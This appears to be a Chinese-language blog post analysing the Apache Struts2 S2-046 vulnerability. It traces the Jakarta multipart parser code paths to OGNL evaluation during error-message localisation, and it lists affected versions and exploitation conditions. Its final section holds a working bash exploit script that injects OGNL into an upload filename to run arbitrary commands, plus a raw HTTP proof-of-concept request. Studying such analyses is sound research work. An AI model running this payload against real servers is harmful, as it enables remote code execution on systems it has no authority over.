Learning Man's Blog

s2-046 漏洞分析

字数统计: 1.6k阅读时长: 7 min
2018/10/17 Share

影响版本:

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-length以及filename处理

【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同

0x01 踩坑

按照参考资料1部署就可以了

0x02 分析

跟进分析

这里看了很多分析,最后感觉还是按处理类来辨析更好

i. JakartaMultiPartRequest

主要是利用空字节解析错误抛出错误,在对错误信息本地化时候造成了命令执行

  1. 项目配置

    P.S. 此配置其实可以不用声明,因为default.properties中默认值即为jakarta

     <constant name="struts.multipart.parser" value="jakarta" />
  2. 对应处理类

      <bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="default"/>
  3. 进入parse

     public void parse(HttpServletRequest request, String saveDir) throws IOException {
         String errorMessage;
         try {
             this.setLocale(request);
             this.processUpload(request, saveDir);
         } catch (SizeLimitExceededException var5) {
             ...
         } catch (Exception var6) {
             if (LOG.isWarnEnabled()) {
                 LOG.warn("Unable to parse request", var6, new String[0]);
             }
    
             errorMessage = this.buildErrorMessage(var6, new Object[0]);
             if (!this.errors.contains(errorMessage)) {
                 this.errors.add(errorMessage);
             }
         }
    
     }
  4. 进入processUpload,这里判断是否为文件上传表单,如果是进入processFilefield进行处理

         protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
         Iterator i$ = this.parseRequest(request, saveDir).iterator();
    
         while(i$.hasNext()) {
             FileItem item = (FileItem)i$.next();
             if (LOG.isDebugEnabled()) {
                 LOG.debug("Found item " + item.getFieldName(), new String[0]);
             }
    
             if (item.isFormField()) {
                 this.processNormalFormField(item, request.getCharacterEncoding());
             } else {
                 this.processFileField(item);
             }
         }
    
     }
  5. 没提前下断点,可以看到已经抛出异常了,跟进org.apache.commons.fileupload.disk.DiskFileItem#getName

     public String getName() {
         return Streams.checkFileName(this.fileName);
     }
  6. 再跟进checkFileName,这里会判断是否存在空字节,有的话就定位到空字节并抛出错误信息

  7. 跟进后,会回到parse中获取异常,进入buildErrorMessage

  8. 在buildErrorMessage中看到了熟悉的本地化,完工~

     protected String buildErrorMessage(Throwable e, Object[] args) {
         String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
         if (LOG.isDebugEnabled()) {
             LOG.debug("Preparing error message for key: [#0]", new String[]{errorKey});
         }
    
         return LocalizedTextUtil.findText(this.getClass(), errorKey, this.defaultLocale, e.getMessage(), args);
     }

ii. JakartaStreamMultiPartRequest

主要是利用超大的content-type进入错误处理逻辑,在处理错误信息本地化造成命令执行

  1. 注意项目配置中

     <constant name="struts.multipart.parser" value="jakarta-stream" />
    
     <!-- 可选配置 -->
     <constant name="struts.multipart.maxSize" value="1" />
  2. 到core下的struts-default.xml中可见

     <bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta-stream" class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest" scope="default"/>
  3. 通过parse开始进行解析

     public void parse(HttpServletRequest request, String saveDir) throws IOException {
         try {
             this.setLocale(request);
             this.processUpload(request, saveDir);
         } catch (Exception var5) {
         ...
         }
     }
  4. 关键代码,这里会通过isRequestSizePermitted判断文件大小,如果文件过大就会调用addFileSkippedError函数(注意:如果payload中有空字节,则会在itemStream.getName()时候抛出错误,则会和上面利用方法一样

     private void processUpload(HttpServletRequest request, String saveDir) throws Exception {
         if (ServletFileUpload.isMultipartContent(request)) {
             boolean requestSizePermitted = this.isRequestSizePermitted(request);
             ...
             while(i.hasNext()) {
                 try {
                     FileItemStream itemStream = i.next();
                     if (itemStream.isFormField()) {
                         ...
                     } else if (!requestSizePermitted) {
                         this.addFileSkippedError(itemStream.getName(), request);
                         LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", new Object[]{itemStream.getName(), this.maxSize});
                     } else {
                         ...
                     }
                 } catch (IOException var7) {
                     ...
                 }
             }
         }
    
     }
  5. 跟入isRequestSizePermitted函数,只要content-length大于maxSize即返回false进入addFileSkippedError

     private boolean isRequestSizePermitted(HttpServletRequest request) {
         if (this.maxSize != -1L && request != null) {
             return (long)request.getContentLength() < this.maxSize;
         } else {
             return true;
         }
     }

    maxSize默认被定义为2097152byte,即2M(此配置可更改,所以payload中content-length最好写大一点)

  6. 回到processUpload进入addFileSkippedError,可见直接把Content-Disposition中的filename传入

  7. 跟进,可以看到对报错内容进行本地化处理

流程梳理

  1. jakarta

     st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
     a=>operation: 进入parse进行数据包解析,注意这里捕获异常
     b=>operation: 进入processUpload对内容进行解析,使用processFileField对上传文件表单进行分析
     c=>operation: 在getName时由于文件名含有00空字节导致抛出一个异常,异常内容为文件名00之前内容
     d=>operation: 回到parse中的异常捕获,使用buildErrorMessage构建异常信息
     e=>operation: 使用本地化LocalizedTextUtil.findText()对信息进行处理
     en=>end: 一些列操作后执行ognl
    
     st->a->b->c->d->e->en
  2. jakarta-stream

     st=>start: 传入之后通过struts-default.xml
     t=>operation: 进入org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest
     a=>operation: 进入parse进行数据包解析,注意这里也有一个捕获异常
     b=>operation: 进入processUpload对内容进行解析,首先判断content-length是否过长
     c=>operation: 过长则进入addFileSkippedError进行错误信息构建,进入之前获取上传文件名
     d=>condition: 文件名是否包含00空字节
     e=>operation: 进入addFileSkippedError,调用buildErrorMessage
     f=>operation: 回到parse捕获异常(类似jakarta利用)
     g=>operation: 调用buildErrorMessage构建异常信息
     en=>end: 一些列操作后执行ognl
    
     st->t->a->b->c->d
     d(yes)->f
     d(no)->e
     e->g
     f->g
     g->en

0x03 利用条件

在Struts使用Jakarta默认配置时,数据流并没有经过JakartaStreamMultiPartRequest。根据官方解释,在Struts 2.3.20以上的版本中,Struts2才提供了可选择的通过Streams实现Jakarta组件解析的方式。

  1. JakartaMultiPartRequest

    1. All 漏洞版本
    2. Payload类型:
      1. 00空字节
  2. JakartaStreamMultiPartRequest

    1. 版本 > 2.3.20
    2. 配置 jakarta-stream
    3. 需要content-length > minSize
    4. Payload类型:
      1. 00空字节
      2. 00空字节 -> 触发逻辑与上面JakartaMultiPartRequest相似

0x04 利用方式

  1. 00

    payload其实通用的,主要注意下00位置(payload为\0b实际为00 62

#!/bin/bash

url=$1
cmd=$2

boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload"
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- [email protected]
  1. 00 && content-length

    主要留意这个是配合content-length用的

Content-Length: 1000000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2

------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain


foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--
  1. 00 && content-length

    上面改改就行了

参考资料

  1. https://github.com/pwntester/S2-046-Poc
  2. https://www.anquanke.com/post/id/85776
  3. https://cloud.tencent.com/developer/article/1144774
  4. https://xz.aliyun.com/t/221
CATALOG
  1. 1. 0x01 踩坑
  2. 2. 0x02 分析
    1. 2.1. 跟进分析
      1. 2.1.1. i. JakartaMultiPartRequest
      2. 2.1.2. ii. JakartaStreamMultiPartRequest
    2. 2.2. 流程梳理
  3. 3. 0x03 利用条件
  4. 4. 0x04 利用方式
  5. 5. 参考资料